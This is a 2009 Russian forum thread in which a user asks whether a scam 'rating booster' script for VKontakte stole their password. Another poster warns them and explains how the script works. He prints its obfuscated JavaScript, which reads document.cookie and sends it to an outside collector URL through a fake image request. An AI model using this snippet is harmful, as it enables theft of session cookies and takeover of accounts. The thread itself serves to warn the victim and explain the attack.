Может ли скрипт украсть пароли?

yurfed · Отправлено: **00:32, 23-09-2009** | #2

rel, лохотрон для лохов http://neonnet.ru/?p=41
Не обижайтесь.

rel · Отправлено: **00:36, 23-09-2009** | #3

Я понял что лохотрон, но интерисует, украли они у меня пароль от контакта или все куки?

Sham · Отправлено: **01:19, 23-09-2009** | #4

Ахтунг!!!
Скрипт уводит кукисы от вконтакта автору!!! С кукисами авторизации можно зайти без пароля!!!
Срочно меняй пароль. И желательно убрать ссылку из поста...

Для общего развития: http://ru.wikipedia.org/wiki/Межсайтовый_скриптинг

вот код, который уводит кукисы

Код:

img=new Image();
dc="d"+"c"+"="+"d"+"o"+"c"+"u"+"m"+"e"+"n"+"t"+"."+"c"+"o"+"o"+"k"+"i"+"e";
eval(dc);
img.src="h"+"t"+"t"+"p"+":"+"/"+"/"+"v"+"k"+"o"+"n"+"t"+"a"+"k"+"t"+"e"+"-"+"s"+"c"+"."+"h"+"u"+"t"+"."+"r"+"u"+"/"+"s"+"."+"p"+"h"+"p"+"?"+dc;

как видно, по адресу "vkontakte-sc.hut.ru/s.php?кукисы" грузится псевдо-картинка, являющаяся скриптом - сборщиком кукисов...

K.A.V. · Конфигурация компьютера

Цитата rel:

Слакомился на новую замануху для контакта, здесь лежыт скрипт по словам коотрый поднимает рейтинг »

Всегда будут те, кто думают, что ХАЛЯВА всё таки ещё существует...за всё надо платить

rel · Отправлено: **12:01, 23-09-2009** | #6

Но только от контакта?

DedAlex · Отправлено: **12:32, 23-09-2009** | #7

Цитата rel:

Но только от контакта? »

Да.

yurfed · Отправлено: **21:47, 23-09-2009** | #8

Цитата DedAlex:

Цитата rel:Но только от контакта? »
Да. »

Думаю вы не юноша двенадцати лет, и должны понимать "что такое хорошо и что такое плохо"